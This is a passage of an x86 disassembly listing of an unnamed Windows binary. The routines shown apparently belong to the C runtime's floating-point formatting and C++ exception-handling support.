		jle	short loc_421BB4
		push	1
		push	edi
		call	sub_421CF1
		mov	al, byte_43C508
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_421BB4
		cmp	byte_4DB310, 0
		jz	short loc_421B99
		neg	esi
		jmp	short loc_421B9F
; ---------------------------------------------------------------------------

loc_421B99:				; CODE XREF: sub_421ADD+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_421BA1

loc_421B9F:				; CODE XREF: sub_421ADD+BAj
		mov	ebx, esi

loc_421BA1:				; CODE XREF: sub_421ADD+C0j
		push	ebx
		push	edi
		call	sub_421CF1
		push	ebx
		push	30h
		push	edi
		call	sub_41B590
		add	esp, 14h

loc_421BB4:				; CODE XREF: sub_421ADD+94j
					; sub_421ADD+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_421ADD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421BBB	proc near		; CODE XREF: sub_421CA0+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_4245E9
		mov	dword_4DB30C, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_4DB314, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_424572
		mov	eax, dword_4DB30C
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_4DB314, ecx
		setl	cl
		mov	byte_4DB318, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_4DB314, eax
		jl	short loc_421C41
		cmp	eax, ebx
		jge	short loc_421C41
		test	cl, cl
		jz	short loc_421C32

loc_421C28:				; CODE XREF: sub_421BBB+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_421C28
		and	[esi-2], al

loc_421C32:				; CODE XREF: sub_421BBB+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421C7D
		add	esp, 0Ch
		jmp	short loc_421C51
; ---------------------------------------------------------------------------

loc_421C41:				; CODE XREF: sub_421BBB+63j
					; sub_421BBB+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421C56
		add	esp, 10h

loc_421C51:				; CODE XREF: sub_421BBB+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_421BBB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C56	proc near		; CODE XREF: sub_421BBB+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_4DB310, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_4219D9
		and	byte_4DB310, 0
		add	esp, 10h
		retn
sub_421C56	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C7D	proc near		; CODE XREF: sub_421BBB+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_4DB310, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_421ADD
		and	byte_4DB310, 0
		add	esp, 0Ch
		retn
sub_421C7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421CA0	proc near		; CODE XREF: sub_41F69F+3AAp
					; DATA XREF: sub_41C760o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_421CDB
		cmp	[ebp+arg_8], 45h
		jz	short loc_421CDB
		cmp	[ebp+arg_8], 66h
		jnz	short loc_421CC8
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421ADD
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_421CC8:				; CODE XREF: sub_421CA0+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421BBB
		jmp	short loc_421CEC
; ---------------------------------------------------------------------------

loc_421CDB:				; CODE XREF: sub_421CA0+7j
					; sub_421CA0+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4219D9

loc_421CEC:				; CODE XREF: sub_421CA0+39j
		add	esp, 10h
		pop	ebp
		retn
sub_421CA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_421CF1	proc near		; CODE XREF: sub_4219D9+2Cp
					; sub_421ADD+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_421D14
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_41CC90
		add	esp, 10h
		pop	esi

loc_421D14:				; CODE XREF: sub_421CF1+7j
		pop	edi
		retn
sub_421CF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421D16	proc near		; CODE XREF: ___:0041C940p
					; sub_41C9A9+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_421D2C
		call	sub_4225B2

loc_421D2C:				; CODE XREF: sub_421D16+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_421D54
		cmp	dword ptr [esi+4], 0
		jz	short loc_421DAA
		cmp	[ebp+arg_14], 0
		jnz	short loc_421DAA
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_42205D
		add	esp, 10h
		jmp	short loc_421DAA
; ---------------------------------------------------------------------------

loc_421D54:				; CODE XREF: sub_421D16+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_421DAA
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_421D8E
		cmp	[eax+14h], edi
		jbe	short loc_421D8E
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_421D8E
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_421DAD
; ---------------------------------------------------------------------------

loc_421D8E:				; CODE XREF: sub_421D16+4Aj
					; sub_421D16+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_421DB1
		add	esp, 20h

loc_421DAA:				; CODE XREF: sub_421D16+23j
					; sub_421D16+29j ...
		push	1
		pop	eax

loc_421DAD:				; CODE XREF: sub_421D16+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_421D16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421DB1	proc near		; CODE XREF: sub_421D16+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_421DD1
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_421DD6

loc_421DD1:				; CODE XREF: sub_421DB1+16j
		call	sub_4225B2

loc_421DD6:				; CODE XREF: sub_421DB1+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421E4A
		cmp	[esi+14h], edi
		jnz	short loc_421E4A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421E4A
		mov	esi, dword_4DB31C
		test	esi, esi
		jz	loc_421F28
		mov	eax, dword_4DB320
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_424770
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_421E2C
		call	sub_4225B2

loc_421E2C:				; CODE XREF: sub_421DB1+74j
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421E4A
		cmp	[esi+14h], edi
		jnz	short loc_421E4A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421E4A
		call	sub_4225B2

loc_421E4A:				; CODE XREF: sub_421DB1+41j
					; sub_421DB1+46j ...
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	loc_421F2D
		cmp	[esi+14h], edi
		jnz	loc_421F2D
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41CAF7
		add	esp, 14h
		mov	ebx, eax

loc_421E81:				; CODE XREF: sub_421DB1+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_421F18
		cmp	[ebx], edi
		jg	short loc_421F0D
		cmp	edi, [ebx+4]
		jg	short loc_421F0D
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_421F0A

loc_421EA6:				; CODE XREF: sub_421DB1+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_421ED7

loc_421EB8:				; CODE XREF: sub_421DB1+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_422000
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421EE6
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_421EB8

loc_421ED7:				; CODE XREF: sub_421DB1+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_421EA6
		jmp	short loc_421F0A
; ---------------------------------------------------------------------------

loc_421EE6:				; CODE XREF: sub_421DB1+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_422111
; ---------------------------------------------------------------------------
		add	esp, 2Ch

loc_421F0A:				; CODE XREF: sub_421DB1+F3j
					; sub_421DB1+133j
		mov	edi, [ebp+var_10]

loc_421F0D:				; CODE XREF: sub_421DB1+DEj
					; sub_421DB1+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_421E81
; ---------------------------------------------------------------------------

loc_421F18:				; CODE XREF: sub_421DB1+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_421F28
		push	1
		push	esi
		call	sub_422486
		pop	ecx
		pop	ecx

loc_421F28:				; CODE XREF: sub_421DB1+56j
					; sub_421DB1+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_421F2D:				; CODE XREF: sub_421DB1+37j
					; sub_421DB1+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_421F53
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_421F58
		add	esp, 20h
		jmp	short loc_421F28
; ---------------------------------------------------------------------------

loc_421F53:				; CODE XREF: sub_421DB1+180j
		jmp	sub_42255C
sub_421DB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421F58	proc near		; CODE XREF: sub_421DB1+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_4DB324, 0
		push	esi
		push	edi
		jz	short loc_421F89
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41C9CE
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_421FFC

loc_421F89:				; CODE XREF: sub_421F58+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41CAF7
		add	esp, 14h
		mov	esi, eax

loc_421FA5:				; CODE XREF: sub_421F58+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_421FFC
		cmp	edi, [esi]
		jl	short loc_421FF4
		cmp	edi, [esi+4]
		jg	short loc_421FF4
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_421FCE
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_421FF4

loc_421FCE:				; CODE XREF: sub_421F58+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_422111
; ---------------------------------------------------------------------------
		add	esp, 2Ch

loc_421FF4:				; CODE XREF: sub_421F58+57j
					; sub_421F58+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_421FA5
; ---------------------------------------------------------------------------

loc_421FFC:				; CODE XREF: sub_421F58+2Fj
					; sub_421F58+53j
		pop	edi
		pop	esi
		leave
		retn
sub_421F58	endp


; =============== S U B	R O U T	I N E =======================================



sub_422000	proc near		; CODE XREF: sub_421DB1+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_422057
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_422057
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_422031
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_422053

loc_422031:				; CODE XREF: sub_422000+1Fj
		test	byte ptr [esi],	2
		jz	short loc_42203B
		test	byte ptr [edi],	8
		jz	short loc_422053

loc_42203B:				; CODE XREF: sub_422000+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_42204A
		test	byte ptr [edi],	1
		jz	short loc_422053

loc_42204A:				; CODE XREF: sub_422000+43j
		test	al, 2
		jz	short loc_422057
		test	byte ptr [edi],	2
		jnz	short loc_422057

loc_422053:				; CODE XREF: sub_422000+2Fj
					; sub_422000+39j ...
		xor	eax, eax
		jmp	short loc_42205A
; ---------------------------------------------------------------------------

loc_422057:				; CODE XREF: sub_422000+Bj
					; sub_422000+14j ...
		push	1
		pop	eax

loc_42205A:				; CODE XREF: sub_422000+55j
		pop	edi
		pop	esi
		retn
sub_422000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42205D	proc near		; CODE XREF: sub_421D16+34p
					; ___:00422153p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278C8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]

loc_42208F:				; CODE XREF: sub_42205D+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_4220E9
		cmp	esi, 0FFFFFFFFh
		jle	short loc_42209E
		cmp	esi, [edi+4]
		jl	short loc_4220A3

loc_42209E:				; CODE XREF: sub_42205D+3Aj
		call	sub_4225B2

loc_4220A3:				; CODE XREF: sub_42205D+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_4220BE
		push	103h
		push	ebx
		push	eax
		call	sub_422510

loc_4220BE:				; CODE XREF: sub_42205D+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4220DE
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_4220FB
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]

loc_4220DE:				; CODE XREF: sub_42205D+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_42208F
; ---------------------------------------------------------------------------

loc_4220E9:				; CODE XREF: sub_42205D+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42205D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4220FB	proc near		; CODE XREF: sub_42205D+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_42210C
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_42210C:				; CODE XREF: sub_4220FB+Cj
		jmp	sub_42255C
sub_4220FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_422111	proc near		; CODE XREF: sub_421DB1+151p
					; sub_421F58+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_422133
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_4222C2
		add	esp, 10h

loc_422133:				; CODE XREF: sub_422111+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_42213F
		push	edi
		jmp	short loc_422142
; ---------------------------------------------------------------------------

loc_42213F:				; CODE XREF: sub_422111+29j
		push	[ebp+arg_24]

loc_422142:				; CODE XREF: sub_422111+2Cj
		call	sub_41C8D0
sub_422111	endp

; ---------------------------------------------------------------------------
		mov	esi, [ebp+24h]
		push	dword ptr [esi]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	edi
		call	sub_42205D
		mov	eax, [esi+4]
		push	100h
		push	dword ptr [ebp+28h]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+10h]
		push	edi
		push	dword ptr [ebp+8]
		call	sub_42218C
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_422187
		push	edi
		push	eax
		call	sub_41C88E

loc_422187:				; CODE XREF: ___:0042217Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42218C	proc near		; CODE XREF: ___:00422174p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278D8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_4DB31C
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_4DB320
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_4DB31C, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_4DB320, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_41C955
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_422252
		mov	eax, [ebp+var_2C]

loc_422219:				; CODE XREF: sub_422232+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42218C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422228	proc near		; DATA XREF: ___:004278E8o
		push	dword ptr [ebp-14h]
		call	sub_422298
		pop	ecx
		retn
sub_422228	endp


; =============== S U B	R O U T	I N E =======================================



sub_422232	proc near		; DATA XREF: ___:004278ECo
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_41CBB6
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_422219
sub_422232	endp

; ---------------------------------------------------------------------------

loc_42224A:				; DATA XREF: ___:004278E0o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_422252	proc near		; CODE XREF: sub_42218C+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_4DB31C, eax
		mov	eax, [ebp-20h]
		mov	dword_4DB320, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_422297
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_422297
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_422297
		cmp	[ebp-24h], ebx
		jnz	short locret_422297
		cmp	[ebp-2Ch], ebx
		jz	short locret_422297
		call	sub_41CC1E
		push	eax
		push	edi
		call	sub_422486
		pop	ecx
		pop	ecx

locret_422297:				; CODE XREF: sub_422252+1Cj
					; sub_422252+22j ...
		retn
sub_422252	endp


; =============== S U B	R O U T	I N E =======================================



sub_422298	proc near		; CODE XREF: sub_422228+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_4222BF
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_4222BF
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_4222BF
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_4222BF
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_4222BF:				; CODE XREF: sub_422298+Cj
					; sub_422298+12j ...
		xor	eax, eax
		retn
sub_422298	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4222C2	proc near		; CODE XREF: sub_422111+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278F0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_42246B
		cmp	byte ptr [eax+8], 0
		jz	loc_42246B
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_42246B
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_42235F
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx

loc_422350:				; CODE XREF: sub_4222C2+F5j
		push	eax
		call	sub_4224ED
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_422467
; ---------------------------------------------------------------------------

loc_42235F:				; CODE XREF: sub_4222C2+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_4223B9
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_41CC90
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_422467
		mov	eax, [edi]
		test	eax, eax
		jz	loc_422467
		add	esi, 8
		push	esi
		jmp	short loc_422350
; ---------------------------------------------------------------------------

loc_4223B9:				; CODE XREF: sub_4222C2+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_422401
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_41CC90
		add	esp, 0Ch
		jmp	short loc_422467
; ---------------------------------------------------------------------------

loc_422401:				; CODE XREF: sub_4222C2+103j
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	dword ptr [esi+18h]
		call	sub_4247A8
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		test	byte ptr [esi],	4
		jz	short loc_422448
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41C8C9
		jmp	short loc_422467
; ---------------------------------------------------------------------------

